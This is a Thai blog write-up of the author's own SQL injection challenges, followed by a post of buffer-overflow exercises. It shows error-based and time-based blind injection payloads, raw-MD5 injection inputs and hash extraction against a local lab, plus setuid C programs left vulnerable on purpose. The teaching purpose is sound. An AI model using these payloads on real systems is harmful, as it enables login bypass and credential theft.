ข้อ 3 ข้อนี้สิ่งที่ผมต้องการให้ทำคือ blind sql injection เพื่อดึงข้อมูลออกมาจาก database ไม่ใช่ bypass login ถ้าใครสังเกต จะเห็นว่าผมใบ้ไว้แล้วว่า ไม่สามารถทำ sql injection ให้ php ไปทำงานที่บรรทัดที่ต้องการได้ พูดง่ายๆ ก็คือไม่สามารถทำ sql injection เพื่อ bypass หน้า login ที่เขียน code แบบนี้ได้ (ถ้าใครทำได้ช่วยบอกผมด้วย ผมทำไม่ได้)

ก่อนอื่นเราก็ต้องมานั่งคิดก่อน เราต้องการดึงอะไรออกมา สำหรับโจทย์ผมนั้นมันชัดเจนว่าต้องดึง username กับ password ออกมา เนื่องด้วย error ที่ออกมาจะมีค่าต่างกัน เราจึงสามารถใช้ประโยชน์จาก error นี้ได้ โดยวิธีการดึง id สามารถทำได้ตามนี้

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+id=1%23"
Invalid username or password

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+id=2%23"
Invalid username or password

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+id=3%23"
The number of rows is not 1

วิธีที่ผมใช้คือ พยายามทำ sql injection ให้ query ออกมาทีละ 1 row ถ้า id ที่ใส่ไปนั้นมีใน database ซึ่งจะเห็นว่า เมื่อใส่ id เป็น 3 (ไ่ม่มีใน database) error ที่ออกมาจะไม่เหมือนเมื่อใส่ id เป็น 1 หรือ 2

สำหรับการดึง username กับ password นั้น ถ้าเราทำแบบ id คือลอง password ทั้ง string นั้นโอกาสที่จะถูกน้อยมาก เพราะ password นั้นยาวมาก วิธีการคือการใช้ function SUBSTR() ของ MySQL ช่วย เพื่อที่จะเปรียบเทียบค่าทีละตัวอักษร อาจจะงง ดูตัวอย่างเลยดีกว่า โดยผมจะทำกับ id เท่ากับ 1

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+SUBSTR(password,1,1)='1'+AND+id=1%23"
The number of rows is not 1

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+SUBSTR(password,1,1)='2'+AND+id=1%23"
The number of rows is not 1

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+SUBSTR(password,1,1)='4'+AND+id=1%23"
Invalid username or password

จากข้างบน จะได้ว่า password hash ของตัวอัีกษรแรกคือ 4 ซึ่งจะเห็นว่าถ้าจะเอา password ออกมาต้อง request เยอะมาก ผมเลยเขียน python สำหรับ request หา password ของ user id 1 ไว้แล้ว (login_blind.py) ซึ่งถ้า run จะได้ผลตามนี้

D:\thtutz\challenge>login_blind.py
1: 4
2: 4
...
44a86b4e2c89f87be46c3ad9f24128dc

สำหรับการดึง username นั้นผมขอให้เขียนเองนะครับ แค่เปลี่ยน charsets และต้อง check ด้วยว่าจบ string หรือยัง ด้วยการเปรียบกับ empty string ('') และเมื่อได้ข้อมูลมาทุกอย่าง เราก็ต้องทำการ crack md5 ซึ่งจะได้ password ออกมาเป็น tooeasy และเอาไป login

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=tooeasy&username=admin"
Impossible to be here with SQL injection
Congrats, WIN!!!

จริงๆแล้ว ข้อนี้ผมตั้งโจทย์ผิด ตั้งใจจะให้ทำ totally blind sql injection แต่ดันทำให้ error มันต่างกัน ผมเลยขออธิบายวิธีทำ sql injection เมื่อ error มันเหมือนกันตลอดด้วย โดยสมมติว่าถ้ามี error อะไรก็แสดงแต่ "Invalid username or password"

ถ้า error เหมือนกัน เราไม่สามารถใช้วิธีข้างบนได้ วิธีที่จะใช้คือ"เวลา" ถ้าสิ่งที่เราต้องการเปรียบเทียบถูกก็ให้ return ค่ากลับมาช้าๆ ถ้าผิดก็ return ทันที โดยการที่ทำให้ MySQL return ค่ากลับมาช้าๆ นั้นสามารถใช้ SLEEP() ตามตัวอย่างต่อไปนี้

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+UNION+SELECT+IF(id=1,SLEEP(5),1),2,3+FROM+members+WHERE+id=1%23"
Invalid username or password     <=== ใช้เวลาอย่างน้อย 5 วินาที

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+UNION+SELECT+IF(id=3,SLEEP(5),1),2,3+FROM+members+WHERE+id=3%23"
The number of rows is not 1

ถ้าใครลองทำตาม จะเห็นว่า request แรก ต้องใช้เวลาอย่างน้อย 5 วินาทีถึงจะได้ response แต่ใน request ที่สองจะได้กลับมาทันที วิธีการนี้จะมี reliable ต่ำกว่าการใช้ error เพราะ server อาจจะยุ่งอยู่ และ network มี latency หรือ round trip time ไม่แน่นอน ทำให้เราได้ response ช้า ทั้งๆที่น่าจะได้ response กลับมาทันที วิธีแก้ก็คือใส่ SLEEP() ให้เยอะหน่อย

สำหรับการดึง password ก็ใช้หลักการเดียวกัน โดยผมเขียนเป็น python code แล้ว (login_total_blind.py) ซึ่งถ้า run จะได้ผลเหมือนข้างบน แต่ใช้เวลามากกว่า ส่วนการดึง username ผมขอให้เขียนเองนะครับ

Note: SLEEP() มีใน MySQL() ตั้งแต่ version 5.0.12 ถ้า version ต่ำกว่า 5.0.12 ต้องใช้ BENCHMARK() (ดูตัวอย่างได้ใน code python ผม โดน comment ไว้อยู่)


ข้อ 4 ปัญหาของข้อนี้ คือการนำ raw md5 ไป query โดยไม่มีการ escape ก่อน สิ่งที่เราต้องทำก็คือ หาค่าที่เมื่อทำ md5 แล้วได้ค่าประมาณ "or 1=1#" เพื่อให้ SQL query ออกมามี row มากกว่า 0

ข้อจำกัดของข้อนี้คือ raw md5 มีขนาด 16 bytes ดังนั้นคำสั่งที่เราต้องการจะต้องมีความยาวไม่เกิน 16 ตัวอักษร แต่เพื่อที่จะโอกาสที่จะหาค่าของ md5 ที่ต้องการเจอ เราต้องทำให้สิ่งที่เราต้องการสั้นที่สุดเท่าที่จะสั้นได้ เรามาลองคำสั่ง SQL (ใน MySQL client) รูปแบบต่างๆ ที่ทำให้การ query ออกมาอย่างน้อย 1 row กันก่อนดีกว่า แล้วค่อยอธิบาย (ให้สังเกตด้วยนะครับผมใช้ double quote ไม่ใช่ single quote)

mysql> use thtutz;
Database changed
mysql> select * from members where password="" or 1=1;#"
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 44a86b4e2c89f87be46c3ad9f24128dc |
|  2 | junk     | invalid_hash                     |
+----+----------+----------------------------------+
2 rows in set (0.13 sec)

mysql> select * from members where password="" or 1;#"
... # ขอละ ผลลัพธ์เหมือนเดิม
mysql> select * from members where password=""||1;#"
... # ขอละ ผลลัพธ์เหมือนเดิม
mysql> select * from members where password="s"||"2gff"; # วิธีของทีม Kernel Sanders
... # ขอละ ผลลัพธ์เหมือนเดิม
mysql> select * from members where password="s"||"gff";
Empty set, 1 warning (0.00 sec)

mysql> select * from members where password="s"="v"; # วิธีของทีม Nibbles
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 44a86b4e2c89f87be46c3ad9f24128dc |
|  2 | junk     | invalid_hash                     |
+----+----------+----------------------------------+
2 rows in set, 2 warnings (0.00 sec)

มาเริ่มกันที่ query แรก คือแบบที่ใช้กันทั่วไป ต้องใช้ถึง 9 ตัวอักษร (" or 1=1#) ต่อมา query ที่สอง หลังจากการอ่าน MySQL document ผมเจอว่า MySQL นั้นจะถือตัวเลขที่ไม่ใช่ 0 เป็น true ดังนั้นแทนที่เราจะใช้ 1=1 เหลือใช้เพียงตัวเลขอะไรก็ได้ที่ไม่ใช่ 0 ก็จะต้องใช้ 7 ตัวอักษร (" or 1#)

ส่วน query ที่สามเป็นวิธีที่ผมใช้เพื่อแก้โจทย์นี้ จาก document อีกเช่นกัน MySQL สามารถใช้ || แทน or ได้ โดยเมื่อใช้ || แล้วไม่จำเป็นต้องมีช่องว่าง ทำให้ต้องใช้ 5 ตัวอักษร ("||1#) และเมื่อเขียน code โดยใช้ md5 จาก openssl จะได้ login_md5raw_1.c (compile กันเอาเองนะครับ อย่าลืม link กับ openssl ด้วย) ซึ่งของผมใช้เวลานานกว่า 30 นาที เมื่อผมเปลี่ยนโจทย์ให้ใช้ double quote (ผมไม่อยากรอ ไว้ดูของคนอื่นดีกว่า)

ใน code ของผม จะทำการ brute force ค่า binary ทุกค่าเนื่องจากการ request สามารถรับข้อมูลที่เป็น binary ได้ โดยทำการ request ไว้ดูในวิธีสุดท้ายทีเดียวเลยละักัน

ส่วน query ที่สี่นั้นเป็นวิธีของทีม Kernel Sanders โดยใช้หลักที่ว่า string ที่ขึ้นด้วยตัวเลขที่ไม่ใช่ 0 MySQL ถือว่าเป็น true และเพื่อให้ search หาได้เร็วขึ้นก็จะ search เพียงแค่ "||" แล้วค่อย check ตัวถัดไป โดย code ที่ดัดแปลงจากของผมคือ login_md5raw_2.c ซึ่งวิธีนี้ code ของผมก็ run นาน เมื่อเปลี่ยนมาใช้ double quote
Note: ทีม Kernel Sanders หาโดยใช้ตัวเลขอย่างเดียว ได้ผลลัพธ์คือ 129581926211651571912466741651878684928 (สำหรับ single quote ถ้าใครไปลองก็จะไม่ถูก)

ส่วน query สุดท้ายนั้นเป็นวิธีของทีม Nibbles เป็นวิธีที่สั้นที่สุด โดยเงื่อนไข where จะเป็น password="a"="z" ซึ่ง MySQL จะ parse เป็น (password="a")="z" ทำให้เป็น false="z" และเป็น false=false ซึ่งผลลัพธ์สุดท้ายกลายเป็น true แต่ string สุดท้ายต้องไม่ขึ้นต้นด้วยตัวเลข ซึ่งเมื่อผมเอามาใช้ใน code ผมคือ login_md5raw_3.c ซึ่ง run ไม่ถึงวินาที จะได้ผลลัพธ์คือ %ac%d6%04 และ python code ที่ผมเอามาจากทีม Nibbles โดยแก้ให้เป็นสำหรับ double quote (login_md5raw_3.py) โดยเป็นตัวเลขอย่างเดียวจาก python จะได้ 1319 โดยนำมา request ได้ตามนี้

password: acd604
password: %ac%d6%04
result: 223d0c22570c581b84a9301adad18739
result: "= "W X „ฉ0 ฺั‡9
D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli4.php?password=%ac%d6%04"
Congrats, WIN!!!

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli4.php?password=1319"
Congrats, WIN!!!

Note: ทีม Nibbles หาโดยใช้ตัวเลขอย่างเดียว ได้ผลลัพธ์คือ 1839431 (สำหรับ single quote ถ้าใครไปลองก็จะไม่ถูก)


สรุป

สิ่งที่ผมอยากจะให้เห็นการทำ sql injection จากโจทย์พวกนี้ โดยเฉพาะข้อ 3 กับ 4 คือ
- sql injection มันมีได้หลายรูปแบบ ในหลายๆครั้ง ต้องมีการดัดแปลง ดังนั้นสิ่งสำคัญคือต้องรู้ SQL แล้วนำไปประยุกต์ใช้เป็น
- ถ้า code มีปัญหาเรื่อง sql injection ส่วนมากก็จะทำ sql injection ได้ อย่างเช่นในข้อ 3 ถึงแม้จะมีการดักไว้ว่า username ที่ดึงมาจาก database ต้องตรงกับที่ใส่มา เราก็ใช้วิธี blind sql injection เพื่อดึงข้อมูลออกมาแทนได้
- อันนี้สำหรับ programmer คือถ้าเรามีการแปลง (transform) ข้อมูลก่อนที่จะนำเข้า database เช่นในข้อ 4 ให้ถือว่าเป็นข้อมูลที่ยังไม่ได้ตรวจสอบ (untrusted input) อาจจะมีอันตรายได้
- input ที่ใส่ไม่จำเป็นต้องเป็นตัวอักษรที่อ่านออกได้ ดังเวลาที่เขียน code หรือจะทำ sql injection ก็ควรที่จะคิดถึงข้อมูลประเภทนี้ด้วย
- โปรแกรมอาจจะใช้ double quote ใน SQL query เช่นในโจทย์ข้อ 4 ดังนั้นเวลาทำ sql injection ควรลองทดสอบทั้ง single quote และ double quote

Sunday, January 9, 2011

Buffer Overflow ให้โปรแกรม spawn shell (โจทย์)

หลังจากทำไป 2 แบบฝึกหัด ผมยังมีโจทย์ให้อีก 2 โจทย์ โดยไม่มีเฉลยนะครับ (ยังไงผมก็ไม่เฉลยนะ) ถ้าทำไม่ได้ แสดงว่ายังไม่เข้าใจเรื่องนี้จริงๆ

ข้อ1 (ex_06_5.c) ข้อนี้น่าจะทำได้ คล้ายๆกับแบบฝึกหัดเลย แต่อยากให้ลองใช้ gdb ดูตำแหน่งของตัวแปรต่างๆ ใน stack ด้วย

/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_5 ex_06_5.c
sudo su -c "chown root: ex_06_5;chmod 4755 ex_06_5"
*/
#include <stdio.h>
#include <string.h>

#define MAX_CPY 530

void vuln(char *d, char *s)
{
  unsigned long n = MAX_CPY;
  strncpy(d, s, n);
}

int main(int argc, char **argv)
{
  int i = 0;
  char c = 1;
  short s = -1;
  char buf[1];
  
  vuln(buf, argv[1]);

  return 0;
}

ข้อ2 (ex_06_6.c) ข้อนี้ต้องใช้ความรู้ Linux นิดหน่อย ถ้าใครเคยทำตามที่ผมให้ลอง คงไม่มีอะไรยาก

/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_6 ex_06_6.c
sudo su -c "chown root: ex_06_6;chmod 4755 ex_06_6"
*/
#include <stdio.h>
#include <string.h>

#define MAX_CPY 24

int main(int argc, char **argv)
{
  char buf[1];

  strncpy(buf, argv[1], MAX_CPY);

  return 0;
}

สำหรับข้อ2 ผมมี Hint ให้ สำหรับคนที่ลองทำแล้วทำไม่ได้จริงๆ เพียงแค่ drag mouse คลุมบรรทัดข้างล่าง
Hint: ใช้ env หรือ argv ช่วย